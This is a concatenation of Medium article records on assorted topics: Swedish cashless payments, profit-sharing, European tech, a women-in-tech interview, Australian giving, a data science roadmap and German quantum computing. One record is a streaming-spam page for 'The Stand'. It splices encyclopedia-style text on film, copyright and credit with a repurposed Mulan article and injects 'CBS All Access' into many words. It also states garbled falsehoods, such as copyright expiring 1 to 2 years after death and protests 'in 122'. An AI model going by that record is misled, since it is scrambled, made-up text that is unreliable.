In some developed countries, especially Scandinavian ones, the idea of leaving cash behind has been gaining traction rapidly. Sweden is a perfect example of how civil society and businesses are moving towards a cashless reality.
Last year, a nationwide research conducted by Sweden’s Central Bank Riksbank showed that almost all transactions made by Swedes in 2018 have been processed digitally, either by swiping their debit/credit cards, using contactless technology (NFC), or relying on mobile applications, such as Apple Pay, Google Pay or Swish. Oh, haven’t you heard of that one?
Back in 2012, Sweden’s top six countries came together to introduce Swish — a mobile payment app that enables instant digital transfers peer to peer and peer to business. While the app has established itself as a convenient payment method, it only works locally.
According to the same study, only 13 percent of Swedes reported using paper money in recent purchases, down from a 40 percent registered in 2010.
In line with this findings, the research also highlights a sharp reduction in cash withdrawals from ATMs. Nearly 20 percent of responders said they never withdraw cash in the past twelve months, while 42 percent said they visit ATMs less often than once a month. | https://medium.com/hackernoon/were-going-less-cash-not-cashless-f1a97f912dff | [] | 2019-05-02 17:56:00.888000+00:00 | ['Fintech', 'Payments', 'Technology', 'Finance', 'Money'] |
2,275 | Everyone Deserves a Piece of the Profit | Everyone Deserves a Piece of the Profit
The blueprint for a simple, powerful profit-sharing program.
If there’s one thing owners, employees and contractors agree on, it’s that it is always nice to have some skin in the game, especially when business is thriving. A successful profit-sharing program inspires and motivates your employees. It allows you, as the owner, to give back to your team. It even makes for a great story when an employee experiences a windfall.
But for a small business owner, setting up a simple and effective profit-sharing system is a daunting challenge. I know, because I spent the last year building mine.
In today’s article, I’ll show you how to go beyond the common (but misleading) examples of public and venture-backed companies and set up a simple, easy-to-manage, easy-to-understand profit-sharing system that will make you and your team members proud.
What the big companies do
Starbucks has granted stock to its employees since the early ’90s, making its Bean Stock program famous for its generosity and for the windfalls many early employees received when the company went public. Amazon granted its warehouse employees stock as part of their compensation until 2018, when it replaced the program with a cash raise.
Back in the 1950s, Sears was the gold-standard of profit-sharing — it invested 10 percent of its earnings in the employee retirement program, allowing longtime employees to retire as millionaires, adjusted to today’s dollars. By one calculation, “if Amazon’s 575,000 total employees owned the same proportion of their employer’s stock as the Sears workers did in the 1950s, they would each own shares worth $381,000.”
And, of course, stock options and equity are the main vehicle by which early-stage software developers and venture capitalists roll the dice in Silicon Valley.
What’s missing from this picture, however, is a clear and simple way for today’s small businesses to share their success with their team. A profit-sharing program is not only a complement to equal pay, diversity and inclusion efforts, it’s also a surefire way to build a strong, stable and dedicated team.
My profit-sharing program provides my 10 team members with a simple, transparent, public formula by which they receive a portion of every dollar the company earns — instantly transforming them from “workers” into “investors,” ensuring they always benefit alongside me (the owner) and our clients and customers.
The profit-sharing program is an important part of achieving my broader goal — which is to build the kind of company I’d want to work for, regardless of where I was in the hierarchy. It’s easy to build systems that benefit the CEO. It’s much more challenging to build equitable, inclusive systems that compensate everyone fairly from the day they start with your company to the day they retire. Combined with our equal-pay policies, the profit-sharing program is a huge step toward achieving that goal.
Keep it simple with cash
As I was describing all those huge companies and their elaborate stock plans, did you feel a little bit out of your league? That’s fine — you can forget about them. While Sears and Starbucks are similar in concept to where we’re headed, we’ll be implementing a much simpler version of this idea that makes it accessible to all small businesses and all teams.
We’ll deal entirely in cash, rather than stock. If you’re not planning to take your small company public or sell it at a 10x multiple someday, thinking about stock ownership just gives everyone anxiety without providing much upside to your team. I know a lot of small business owners who granted their team equity and now regret it, or who never created a profit-sharing system (and thus missed out on the benefits) because they were too worried about dividing up ownership of their company.
Stock is confusing on the employee side, too. For every positive review of the Starbucks and Amazon programs, there are pages and pages of explainers trying to help employees use their newly acquired financial instruments correctly. This is especially tragic when a longtime employee has most of their net worth in company stock and the company’s value suddenly tanks. Because they didn’t have the means or knowledge to diversify, they were unnecessarily tethered to their company and retroactively lost some of their compensation. Employees should not need to hire a financial advisor to benefit from your benefits.
Instead, we’ll build our profit-sharing plan in terms of pure cash payments. At my company, we distribute these payments based on a fixed formula every six months (in April and October). The formula combines the following three factors:
How long you’ve worked with us (calculated in a spreadsheet as “days since your start date”) Your current pay rate (for us, a simple hourly rate) How many hours you’ve billed in the past six months
You could use just one or two of these, or add more of your own. For us, they cover the three major variables we want to influence each team member’s share of the profits — your longevity, your role, and, since all of our team members work flexible hours and total hours per week vary from team member to team member, the total hours you’ve billed recently.
There’s no need to get fancy. Make your formula public, simple and fair, and don’t fuss too much about stock, taxes and financial complexity. Just give people money.
Find your financial comfort zone
If you’re new to profit-sharing, my recommendation is to start small and work your way up to bigger and more consistent numbers as time goes on. At my company, I started with a flat $15,000 bonus pool shared among 10 people, with different payments to each person based on the formula I described above.
This wasn’t based on a specific percentage of our profit or revenue, it was simply the number I felt comfortable with at that moment. In a few months, I’ll be making my second payment to the team, and after that I’ll start to work on an exact formula that’s based on either our revenue or our profit over the most recent six-month period. (I prefer revenue because it’s very easy for me to see that number quickly at any moment, whereas profit calculations are delayed a month or two while the bookkeepers work their magic. Since our profit margin is very consistent over time, the two approaches are interchangeable for me.)
Notice that I’m not committing off-the-bat to something like a 5-percent or 10-percent share — because I’m not yet sure what will be feasible and fair. Instead, I’m starting with flat numbers (which are at my discretion), and simultaneously opening my books to my team so they can see the real numbers and understand my reasoning.
I encourage you to dive in while setting appropriate expectations — including that you don’t know exactly what to expect yet. You can present your profit-sharing system to your team as something that will always be there, but that is simultaneously experimental and subject to change in its details. Assuming you have your team’s trust (which your equal pay and open book systems will help with), you’ll be able to give them immediate benefits, and they’ll be able to devote themselves more intensely to your company’s growth, even without having all the details perfectly figured out.
No carrots, no sticks
One of the major distinctions of my profit-sharing system from others is that it is explicitly not a system of performance bonuses. Everyone gets their profit-share, whether they’re the top performer or worst performer on the team. Working in tandem with our equal-pay system, this has two major effects.
First, it encourages cooperation and discourages competition among team members. We don’t want to build a cut-throat environment, we want to build one where everyone has a clear incentive to help and care for everyone around them.
Second, it strongly encourages me and my management team to train our entry-level team members like crazy. When we hire someone new, we know we need to train them up to a level of quality and efficiency that ensures they’re not performing significantly below their peers — because we have voluntarily given up the ability to modify compensation based on subjective measurements like “performance reviews” or perceived skill. Instead, we have created a system that forces us to assume that everyone we hire in the same role is of roughly equal potential, and it becomes our job to help them reach that potential. Needless to say, there are some team members with whom this doesn’t work out and we part ways, but equal pay and equal profit-sharing force us to take training extremely seriously and bring everyone up to their maximum potential as soon as possible.
What we don’t do is set arbitrary goals or reward or punish people based on “production” metrics. In part, this is because these types of performance bonuses are easily gamed and thus often create perverse incentives, like doctors who refuse to take on difficult surgeries so they don’t mess up their success rates, or bank employees who open fake accounts to hit quotas. However, even beyond those counterproductive outcomes, a culture of competition is poison for most teams. Maybe there are some people out there who idealize the Boiler Room lifestyle, but my team and I want to escape the rat race, not build a new one out of arbitrary bonuses and unnecessary competition.
Profit-sharing is about building a system where everyone benefits from every dollar the company earns, and thus encourages everyone on your team (including you!) to adopt a healthy, cooperative mindset at work. When everyone wins and the earnings are shared in a fair, transparent way, you empower your whole team to take your company to new heights. | https://medium.com/swlh/everyone-deserves-a-piece-of-the-profit-327f4766c59c | ['Rob Howard'] | 2020-12-30 21:52:40.791000+00:00 | ['Tech', 'Entrepreneurship', 'Business', 'Startup', 'Technology'] |
2,276 | The Stand < "Season 1 :: Episode 2" > FULL~EPISODE | ⭐ Watch The Stand Season 1 Episode 2 Full Episode, The Stand Season 1 Episode 2 Full Watch Free, The Stand Episode 2,The Stand CBS All Access, The Stand Eps. 2,The Stand ENG Sub, The Stand Season 1, The Stand Series 1,The Stand Episode 2, The Stand Season 1 Episode 2, The Stand Full Streaming, The Stand Download HD, The Stand All Subtitle, Watch The Stand Season 1 Episode 2 Full Episodes
Film, also called movie, motion picture or moving picture, is a visual art-form used to simulate experiences that communicate ideas, stories, perceptions, feelings, beauty, or atmosphere through the use of moving images. These images are generally accompanied by sound, and more rarely, other sensory stimulations.[2] The word “cinema”, short for cinematography, is ofCBS All Access used to refer to filmmaking and the film The Stand, and to the art form that is the result of it.
❏ STREAMING MEDIA ❏
Streaming media is multimedia that is constantly received by and presented to an end-user while being delivered by a provider. The verb to stream refers to the process of delivering or obtaining media in this manner.[clarification needed] Streaming refers to the delivery method of the medium, rather than the medium itself. Distinguishing delivery method from the media distributed applies specifically to telecommunications networks, as most of the delivery systems are either inherently streaming (e.g. radio, television, streaming apps) or inherently non-streaming (e.g. books, video cassettes, audio CDs). There are challenges with streaming conCBS All Accesst on the Internet. For example, users whose Internet connection lacks sufficient bandwidth may experience stops, lags, or slow buffering of the conCBS All Accesst. And users lacking compatible hardware or software systems may be unable to stream certain conCBS All Accesst.
Live streaming is the delivery of Internet conCBS All Accesst in real-time much as live television broadcasts conCBS All Accesst over the airwaves via a television signal. Live internet streaming requires a form of source media (e.g. a video camera, an audio interface, screen capture software), an encoder to digitize the conCBS All Accesst, a media publisher, and a conCBS All Accesst delivery network to distribute and deliver the conCBS All Accesst. Live streaming does not need to be recorded at the origination point, although it frequently is.
Streaming is an alternative to file downloading, a process in which the end-user obtains the entire file for the conCBS All Accesst before watching or lisCBS All Accessing to it. Through streaming, an end-user can use their media player to start playing digital video or digital audio conCBS All Accesst before the entire file has been transmitted. The term “streaming media” can apply to media other than video and audio, such as live closed captioning, ticker tape, and real-time text, which are all considered “streaming text”.
❏ COPYRIGHT CONCBS All AccessT ❏
Copyright is a type of intellectual property that gives its owner the exclusive right to make copies of a creative work, usually for a limited time.[2][2][2][2][2] The creative work may be in a literary, artistic, educational, or musical form. Copyright is inCBS All Accessded to protect the original expression of an idea in the form of a creative work, but not the idea itself.[2][2][2] A copyright is subject to limitations based on public interest considerations, such as the fair use doctrine in the United States.
Some jurisdictions require “fixing” copyrighted works in a tangible form. It is ofCBS All Access shared among multiple authors, each of whom holds a set of rights to use or license the work, and who are commonly referred to as rights holders.[citation needed][2][1][1][1] These rights frequently include reproduction, control over derivative works, distribution, public performance, and moral rights such as attribution.[1]
Copyrights can be granted by public law and are in that case considered “territorial rights”. This means that copyrights granted by the law of a certain state, do not exCBS All Accessd beyond the territory of that specific jurisdiction. Copyrights of this type vary by country; many countries, and sometimes a large group of countries, have made agreements with other countries on procedures applicable when works “cross” national borders or national rights are inconsisCBS All Accesst.[1]
Typically, the public law duration of a copyright expires 1 to 2 years after the creator dies, depending on the jurisdiction. Some countries require certain copyright formalities[2] to establishing copyright, others recognize copyright in any completed work, without a formal registration.
It is widely believed that copyrights are a must to foster cultural diversity and creativity. However, Parc argues that contrary to prevailing beliefs, imitation and copying do not restrict cultural creativity or diversity but in fact support them further. This argument has been supported by many examples such as Millet and Van Gogh, Picasso, Manet, and Monet, etc.[1]
❏ GOODS OF SERVICES ❏
Credit (from Latin credit, “(he/she/it) believes”) is the trust which allows one party to provide money or resources to another party wherein the second party does not reimburse the first party immediately (thereby generating a debt), but promises either to repay or return those resources (or other materials of equal value) at a later date.[2] In other words, credit is a method of making reciprocity formal, legally enforceable, and exCBS All Accesssible to a large group of unrelated people.
The resources provided may be financial (e.g. granting a loan), or they may consist of goods or services (e.g. consumer credit). Credit encompasses any form of deferred payment.[2] Credit is exCBS All Accessded by a creditor, also known as a lender, to a debtor, also known as a borrower.
‘The Stand’ Challenges Asian Americans in Hollywood to Overcome ‘Impossible Duality’ CBS All Accessween China, U.S.
CBS All Access’s live-action “The Stand” was supposed to be a huge win for under-represented groups in Hollywood. The $2 million-budgeted film is among the most expensive ever directed by a woman, and it features an all-Asian cast — a first for productions of such scale.
Despite well-inCBS All Accesstioned ambitions, however, the film has exposed the difficulties of representation in a world of complex geopolitics. CBS All Access primarily cast Asian rather than Asian American stars in lead roles to appeal to Chinese consumers, yet Chinese viewers rejected the movie as inauthentic and American. Then, politics ensnared the production as stars Liu Yifei, who plays The Stand, and Donnie Yen professed support for Hong Kong police during the brutal crackdown on protesters in 122. Later, CBS All Access issued “special thanks” in the credits to government bodies in China’s Xinjiang region that are directly involved in perpetrating major human rights abuses against the minority Uighur population.
“The Stand” inadverCBS All Accesstly reveals why it’s so difficult to create multicultural conCBS All Accesst with global appeal in 2020. It highlights the vast disconnect CBS All Accessween Asian Americans in Hollywood and Chinese nationals in China, as well as the exCBS All Accesst to which Hollywood fails to acknowledge the difference CBS All Accessween their aesthetics, tastes and politics. It also underscores the limits of the American conversation on representation in a global world.
In conversations with seThe Standl Asian-American creatives, Variety found that many feel caught CBS All Accessween fighting against underrepresentation in Hollywood and being accidentally complicit in China’s authoritarian politics, with no easy answers for how to deal with the moral questions “The Stand” poses.
“When do we care about representation versus fundamental civil rights? This is not a simple question,” says Bing Chen, co-founder of Gold House, a collective that mobilizes the Asian American community to help diverse films, including “The Stand,” achieve opening weekend box office success via its #GoldOpen movement. “An impossible duality faces us. We absolutely acknowledge the terrible and unacceptable nature of what’s going on over there [in China] politically, but we also understand what’s at stake on the The Stand side.”
The film leaves the Asian American community at “the intersection of choosing CBS All Accessween surface-level representation — faces that look like ours — versus values and other cultural nuances that don’t reflect ours,” says Lulu Wang, director of “The Farewell.”
In a business in which past box office success determines what future projects are bankrolled, those with their eyes squarely on the prize of increasing opportunities for Asian Americans say they feel a responsibility to support “The Stand” no matter what. That support is ofCBS All Access very personal amid the The Stand’s close-knit community of Asian Americans, where people don’t want to tear down the hard work of peers and The Stand.
Others say they wouldn’t have given CBS All Access their $1 if they’d known about the controversial end credits.
“‘The Stand’ is actually the first film where the Asian American community is really split,” says sociologist Nancy Wang Yuen, who examines racism in Hollywood. “For people who are more global and consume more global news, maybe they’re thinking, ‘We shouldn’t sell our soul in order to get affirmation from Hollywood.’ But we have this scarcity mentality.
“I felt like I couldn’t completely lambast ‘The Stand’ because I personally felt solidarity with the Asian American actors,” Yuen continues. “I wanted to see them do well. But at what cost?”
This scarcity mentality is particularly acute for Asian American actors, who find roles few and far CBS All Accessween. Lulu Wang notes that many “have built their career on a film like ‘The Stand’ and other crossovers, because they might not speak the native language — Japanese, Chinese, Korean or Hindi — to actually do a role overseas, but there’s no role being writCBS All Access for them in America.”
Certainly, the actors in “The Stand,” who have seen major career breakthroughs tainted by the film’s political backlash, feel this acutely. “You have to understand the tough position that we are in here as the cast, and that CBS All Access is in too,” says actor Chen Tang, who plays The Stand’s army buddy Yao.
There’s not much he can do except keep trying to nail the roles he lands in hopes of paving the way for others. “The more I can do great work, the more likely there’s going to be somebody like me [for kids to look at and say], ‘Maybe someday that could be me.’”
Part of the problem is that what’s happening in China feels very distant to Americans. “The Chinese-speaking market is impenetrable to people in the West; they don’t know what’s going on or what those people are saying,” says Daniel York Loh of British East Asians and South East Asians in Theatre and Screen (BEATS), a U.K. nonprofit seeking greater on-screen Asian representation.
York Loh offers a provocative comparison to illustrate the West’s milquetoast reaction to “The Stand” principal Liu’s pro-police comments. “The equivalent would be, say, someone like Emma Roberts going, ‘Yeah, the cops in Portland should beat those protesters.’ That would be huge — there’d be no getting around that.”
Some of the disconnect is understandable: With information overload at home, it’s hard to muster the energy to care about faraway problems. But part of it is a broader failure to grasp the real lack of overlap CBS All Accessween issues that matter to the mainland’s majority Han Chinese versus minority Chinese Americans. They may look similar, but they have been shaped in diametrically different political and social contexts.
“China’s nationalist pride is very different from the Asian American pride, which is one of overcoming racism and inequality. It’s hard for Chinese to relate to that,” Yuen says.
Beijing-born Wang points out she ofCBS All Access has more in common with first-generation Muslim Americans, Jamaican Americans or other immigrants than with Chinese nationals who’ve always lived in China and never left.
If the “The Stand” debacle has taught us anything, in a world where we’re still too quick to equate “American” with “white,” it’s that “we definitely have to separate out the Asian American perspective from the Asian one,” says Wang. “We have to separate race, nationality and culture. We have to talk about these things separately. True representation is about capturing specificities.”
She ran up against the The Stand’s inability to make these distinctions while creating “The Farewell.” Americans felt it was a Chinese film because of its subtitles, Chinese cast and location, while Chinese producers considered it an American film because it wasn’t fully Chinese. The endeavor to simply tell a personal family story became a “political fight to claim a space that doesn’t yet exist.”
In the search for authentic storytelling, “the key is to lean into the in-CBS All Accessweenness,” she said. “More and more, people won’t fit into these neat boxes, so in-CBS All Accessweenness is exactly what we need.”
However, it may prove harder for Chinese Americans to carve out a space for their “in-CBS All Accessweenness” than for other minority groups, given China’s growing economic clout.
Notes author and writer-producer Charles Yu, whose latest novel about Asian representation in Hollywood, “Interior Chinatown,” is a National Book Award finalist, “As Asian Americans continue on what I feel is a little bit of an island over here, the world is changing over in Asia; in some ways the center of gravity is shifting over there and away from here, economically and culturally.”
With the Chinese film market set to surpass the US as the world’s largest this year, the question thus arises: “Will the cumulative impact of Asian American audiences be such a small drop in the bucket compared to the China market that it’ll just be overwhelmed, in terms of what gets made or financed?”
As with “The Stand,” more parochial, American conversations on race will inevitably run up against other global issues as U.S. studios continue to target China. Some say Asian American creators should be prepared to meet The Stand by broadening their outlook.
“Most people in this The Stand think, ‘I’d love for there to be Hollywood-China co-productions if it meant a job for me. I believe in free speech, and censorship is terrible, but it’s not my battle. I just want to get my pilot sold,’” says actor-producer Brian Yang (“Hawaii Five-0,” “Linsanity”), who’s worked for more than a decade CBS All Accessween the two countries. “But the world’s getting smaller. Streamers make shows for the world now. For anyone that works in this business, it would behoove them to study and understand The Stands that are happening in and [among] other countries.”
Gold House’s Chen agrees. “We need to speak even more thoughtfully and try to understand how the world does not function as it does in our zip code,” he says. “We still have so much soft power coming from the U.S. What we say matters. This is not the problem and burden any of us as Asian Americans asked for, but this is on us, unfortunately. We just have to fight harder. And every step we take, we’re going to be right and we’re going to be wrong.”
☆ ALL ABOUT THE SERIES ☆
is the trust which allows one party to provide money or resources to another party wherein the second party does not reimburse the first party immediately (thereby generating a debt), but promises either to repay or return those resources (or other materials of equal value) at a later date.[2] In other words, credit is a method of making reciprocity formal, legally enforceable, and exCBS All Accesssible to a large group of unrelated people.
The resources provided may be financial (e.g. granting a loan), or they may consist of goods or services (e.g. consumer credit). Credit encompasses any form of deferred payment.[2] Credit is exCBS All Accessded by a creditor, also known as a lender, to a debtor, also known as a borrower.
‘Hausen’ Challenges Asian Americans in Hollywood to Overcome ‘Impossible Duality’ CBS All Accessween China, U.S. | https://medium.com/the-stand-2020-s1-e2-on-cbs-all-access/watch-%E1%B4%B4%E1%B4%B0-s1-e2-the-stand-series-1-episode-2-full-episode-a6e2b02fdfab | ['Lydia Jordan'] | 2020-12-26 03:16:56.891000+00:00 | ['Technology', 'Lifestyle', 'Coronavirus', 'TV Series'] |
2,277 | Will European alternatives to the American Tech Giants emerge from all the policy shifting & penalties? | Main photo:Photo by James Yarema on Unsplash
Amadeus was once the European Answer to Sabre in the GDS Airline industry
“Prepare for the unknown by studying how others in the past have coped with the unforeseeable and the unpredictable.” These were the words of George S. Patton and his take on what history should serve to us in the present day in our foreseeing of the future. In 1987, Amadeus IT Group, one of the largest GDS systems in the world was born through an initiative done by four major airlines at the time: Lufthansa, SAS, Iberia and Air France. The efforts were made for the creation of what later on shook the airline ticketing industry and became known as Airline IT provider. Today, almost no one books an airline, a hotel, or even other forms of transport without passing by this meticulous system.
Photo by Miguel Ángel Sanz on Unsplash
But, the true question is why would 4 national carriers of 4 European countries decide to create such an important company? Well, other than the evident cost-cutting and profit-making potential for each airline within Europe, the airline IT companies relied heavily on databases that stored personal information of passengers which could have been seen as a national threat outside European grounds. The possibility to have such a unanimous solution created on European soil would not have barred fruit had it not been for the common European trading zone that connected all four major economies.
Today, the Amadeus IT Group which has become an independent Spanish company that is publicly traded, serves as a reminder for European policymakers, entrepreneurs, and growing tech companies in Paris, Berlin, Barcelona and Stockholm that maybe e-commerce platforms need to merge to create a proper independent e-commerce company that manages to compete with companies like Amazon, a company that has had a free pass in Europe, headquartering its European base in Dublin. And maybe Europe must not only impose protective European internet privacy laws known as GDPR, but also go to the Chinese extent of creating European alternatives. The alternative services might seem like a remote option but even Sabre and Amadeus eventually learned how to interact with one another and so this should eventually be a possibility.
Photo by Christian Wiediger on Unsplash
Given that Europe possesses such rich previous case studies on maneuvering privacy issues and creating internal solutions that retain profits within the aged continent, I cannot help but think ‘is Europe acting too late and using the wrong solution of penalizing’? | https://medium.com/@yahya-alfreh/will-european-alternatives-to-the-american-tech-giants-emerge-from-all-the-policy-shifting-41100fd65b7c | ['Yahya Alfreh'] | 2020-12-15 17:13:35.963000+00:00 | ['Amadeus', 'Amazon', 'Technews', 'Technology', 'Airlines'] |
2,278 | Epic Women in Tech — Melissa Arneau | How did you get into the tech field?
I was offered the opportunity to join the integrations team at WorldRemit for a secondment for a month in November 2015. I then joined them permanently in January 2016. I was there until June 2019. I then joined one of the product teams at Miller Insurance Services LLP in October 2019.
What are the main challenges in this field?
In my case, as I joined without any prior experience nor background in tech or IT, it was to ensure I found the relevant resources to gain the relevant skills, but also still trust my instincts. Another challenge was to interview for a new role in tech, as my previous job was an internal placement based on my knowledge of the existing product at the time. I spent a fair amount of time during my job search ensuring how to translate what I learned and adapt it to make it universal in a way.
What are the things you’ve learned being a woman in tech?
I have been fairly lucky in both positions that my colleagues didn’t judge me and didn’t attribute my inexperience to my gender. It enabled me to always base all my progress on my skills and the quality of my work. However I’m fully aware this isn’t the case in every workplace, and this motivated me to become a stronger ally/supporter/mentor to any woman who seeked advice and support from me
What advice would you give to women who would like to join the industry?
Embrace the fear and do it anyway! Also trust the people who give you a chance. When I was offered my first position, I was terrified of failing and kept on questioning why they came to me for this role. I spoke with a friend who has been a tester for over 20 years, and she told me they wouldn’t have reached out to me if they didn’t think I had the potential.
Who are your role models?
My former boss, Catherine, who offered me my first role in tech, and my grandmother, who had many first new experiences in her life and achieved more than people thought she would.
If you could go back in time to your first days in the industry, what would you do differently or tell yourself?
I wouldn’t rush into trying to learn everything at once. It’s ok to not know everything, despite what others can say. Also, I know more than I think I do. | https://medium.com/epic-women-in-tech/epic-women-in-tech-melissa-arneau-1499a1271a8 | ['Sonya Moisset'] | 2020-12-11 09:09:40.822000+00:00 | ['Technology', 'Women In Tech', 'Diversity And Inclusion', 'Tech', 'Interview'] |
2,279 | Australia, An Evolution in Giving Back | Australia, An Evolution in Giving Back
Across the world, people from different countries, cultures, religions, and levels of wealth have one thing common, a willingness to give.
Over time, Australia has grown in reputation as one of the world’s top givers climbing to 4th in the CAF world giving index
According to the 10th Edition of the CAF World Giving Index, Australia has maintained consistency with its top and bottom scores only 5% apart.
From a new report, the Australia Giving Report 2019 by CAF, we found the following ways is how Australians have demonstrated their generosity.
Further, according to the same CAF report, 68% of Australians have given money in the past 12 months, giving directly to charities, religious organizations, or sponsoring someone.
Youth Generosity
Australia’s younger generation has emerged as most generous with 18–24 year olds more likely to volunteer.
This suggests that Australians have nurtured a culture of giving that is strongly being emulated by youth.
When asked why they give, majority of Australians (54%) attributed caring about the cause as the main reason, with helping the less fortunate coming in second at 41%, and wanting to make a difference third at 33%.
Impact: what Australian generosity has done for us
Impact Africa Network is a nonprofit startup studio in Nairobi on a mission to ensure young talented Africans have a chance at participating in the digital transformation of Africa as creators and owners.
Early this year, after canvassing the globe for support, we were the happy beneficiaries of an unprecedented financial gift from an Australian Philanthropic Organization at a time when we needed it most.
This had such a massive impact on us which got us curious to understand what underlies such unmatched generosity. We did some research and put together this case study.
We provide 12-month Innovation Fellowships to talented college graduates providing them the opportunity to work on well-vetted ideas with like-minded peers under the guidance of an experienced leadership team and mentor network.
Since launching in January of 2019 we have provided the opportunity to 25 fellows who are working on 10 projects.
As the youngest continent on the planet with a median age of 19.5, Africa’s biggest challenge and opportunity is activating her young talent and connecting it to the innovation and entrepreneurship opportunities of the 21st century. Traditional education systems are falling short of this need.
Make An Impact
If the work activating young talent in African is a cause that resonates with you and would like to make an impact you can join our micro-donations support program. It works just like Netflix!
For as little as $30 a month you can enable us continue doing this important work. We are seeking 1000 champions willing to support us at the $30 a month level until December 2021. | https://medium.com/impact-africa-network/australia-an-evolution-in-giving-back-322f7107aab7 | ['Cheruto Kongin'] | 2020-07-26 11:37:14.242000+00:00 | ['Technology', 'Giving', 'Case Study', 'Innovation', 'Australia'] |
2,280 | Shaping our Digital Future Part I: Fund Digital Infrastructure | By Harish Rao, Founder & CEO Interpersonal Frequency
Shaping our Digital Future Part I: Fund Digital Infrastructure
About this Series:
In the coming months, I’ll be sharing ten lists of ideas for things we need to do now to ensure that our digital future is as bright and booming as possible. It’s not too late to fix the mistakes of the past and create a firm foundation for the years ahead, but our prosperity and well-being at every level of American society will depend on confronting these challenges and taking meaningful action.
Fund Digital Infrastructure
Our nation’s digital infrastructure is outdated, undersized, and insecure. Without investing in it and treating it like an essential foundation, rather than a “gee-whiz” extra line item, any new programs or vital reforms that our government seeks to enact won’t be able to get off the ground and up to scale.
Here’s what we need to do: | https://medium.com/@interpersonalfrequency/shaping-our-digital-future-part-i-fund-digital-infrastructure-cdf80c26d2c1 | ['Interpersonal Frequency'] | 2021-03-24 21:29:10.772000+00:00 | ['Government', 'Digital Life', 'Society', 'Accessibility', 'Technology'] |
2,281 | Data Scientist Roadmap 2021 | Skills Required to Become a Data Scientist in 2021
Photo by Carlos Muza on Unsplash
Data Science is the most trending topic for many students as it has become one of the high-paying jobs in the industry and it is no doubt that Data Scientists are high in demand these years.
Having said that it is still very difficult to find entry-level roles as a fresher for the Data Scientist position. But it's no doubt that Artificial Intelligence and Data Science roles will only increase in the future, therefore it is a good skill to have in today's data-driven world.
In this article I will provide you a step by step overview of how to get started with Data Science:
Step 1: Basic Fundamentals
This is actually not a difficult part but many people skip this step as it involves Mathematics. A Basic Understanding of High School Mathematics would help you to understand how the algorithms work.
This involves Linear Algebra, Calculus, Permutation and Combination, and Gradient Descent. At the end of the article, I would add some resources which would help you to learn these topics easily.
Photo by Sebastian Herrmann on Unsplash
Step 2: Programming Language
The two most popular programming languages are R and Python. You can choose any language and start practicing with the tools and libraries for Analytics. Basic Programming concepts and understanding of Data Structures are very important.
If you are a beginner I would suggest going with Python, because according to the StackOverflow survey 2020 Python is high in demand for working professionals especially in the Data Science field.
Step 3: Probability and Statistics
Statistics is the backbone of the data Industry. Any job interview you go to, your statistical skills would be tested. The topics required are:
Probability: Probability Space, Random Variable, Expectation, Variance and Covariance, Probability Distributions
Probability Space, Random Variable, Expectation, Variance and Covariance, Probability Distributions Statistics: Descriptive Statistics, Statistical Inference, Differential Statistics, Associative Statistics
You can watch this youtube tutorial by Great Learning to learn all about this topic.
Step 4: Data Analysis
In most Data Science jobs, Data Scientist spends most of their time in cleaning and manipulating the data than implementing Machine Learning.
Understanding the data and finding patterns and correlations among data is the most important part of the job. It would provide you an idea about the domain and which algorithm to choose for this particular type of problem.
In Python Data Analysis tools like ‘Pandas’ and ‘Numpy’ are very popular.
Step 6: Data Visualization
Clients and Stakeholders won’t understand the statistical language or Model prediction. Data Visualization is very important to show the patterns in a visual form using various charts and graphs to show the behavior of data and analysis.
The most popular tool for Data Visualization in Tableau. Different Data Visualization techniques involve Line chart, Boxplot, Histogram, Scatter plot, bar chart& Heatmap.
Photo by Giorgio Tomassetti on Unsplash
Step 7: Machine Learning
Machine Learning is a vast topic and core of Data Science and Artificial Intelligence. There are a lot of blogs explaining what is Machine Learning and how it works (links in resources).
In this section I would provide you a checklist of what to learn:
Supervised and Unsupervised Algorithms
Classification and Regression Algorithms
Clustering, Dimensionality Reduction, Recommendation, and Association
Model Evaluation Techniques, Underfitting and Overfitting
Algorithms to learn:
Classification: Naive Bayes, Logistic Regression, Decision Trees, K-Nearest Neighbors, Support Vector Machines, XGBoost
Regression: Linear Regression, Decision Trees, K-Nearest Neighbors
Unsupervised Algorithms: K-means, Principal Component Analysis, Apriori Algorithm, Collaborative, and Content-Based filtering recommendation system. | https://medium.com/nerd-for-tech/data-scientist-roadmap-2021-47aaafb76aa8 | ['Ashutosh Kumar'] | 2020-11-08 13:47:18.087000+00:00 | ['Software Development', 'Technology', 'Data Analysis', 'Data Science', 'Programming'] |
2,282 | How Germany is Building a Quantum Computing Ecosystem | How Germany is Building a Quantum Computing Ecosystem Qiskit Follow Jun 15 · 9 min read
By Ryan F. Mandelbaum, Sieglinde Pfaendler, and Fabio Scafirimuto
This year, Germany kicked off its Roadmap Quantencomputing to lay the groundwork for a German-based quantum computing ecosystem. The country has earmarked two billion euros in order to see the vision through. But building a quantum computing landscape is about more than just hardware; it requires collaboration between research institutions, industry, government, and most importantly, the community.
Germany’s quantum community is an extremely vibrant space. Quantum research is underway at many of the country’s universities, companies, and research institutes under the umbrella of Fraunhofer-Gesellschaf, DLR, the Max Planck Society, the Helmholtz Association institutes, and others. While no single story could fully capture the complexity of the German quantum field, these efforts are all guiding the country toward a singular goal: to become a European quantum leader.
“Germany has a history of being the machine shop of the world,” said Stefan Filipp, professor in Physics at the Technical University of Munich and Director of the Walther-Meißner-Institut of the Bavarian Academy of Sciences. “There’s a feeling that we need to continue this for other technologies to come — such as quantum computing.”
Among the most notable efforts include the Roadmap Quantencomputing, providing a core goal for the country’s quantum research: Build a German quantum computer in the next five years. Meanwhile, Fraunhofer has recently purchased exclusive access to Europe’s first IBM Quantum System One, providing quantum hardware access to thousands across the country. Germany’s quantum vision extends to Europe as a whole, as researchers work with key European partners on strategic projects such as OpenSuperQ to build an open source quantum computer for anyone around the continent. Meanwhile, the Qiskit team is working to foster and support the community growing around these developments.
A Central Vision: The Roadmap Quantencomputing
Back in 2020, as part of an overall economic stimulus, the German government first announced that they had earmarked money devoted to developing a quantum computer while creating a roadmap to build a broader quantum ecosystem. German legislators noticed that large international companies and other countries were building technology and communities, and wanted to ensure that Germany, and Europe more generally, could have a stronger stake in the technology’s development.
The roadmap serves a few important purposes, explained Filipp, one of the roadmap committee’s co-chairs. Not only does it identify problems and map out technology development, but it also charts a way to attract more quantum expertise to Germany and to Europe as a whole. And, of course, it provides a strategy for workforce training of students, technicians, and other experts.
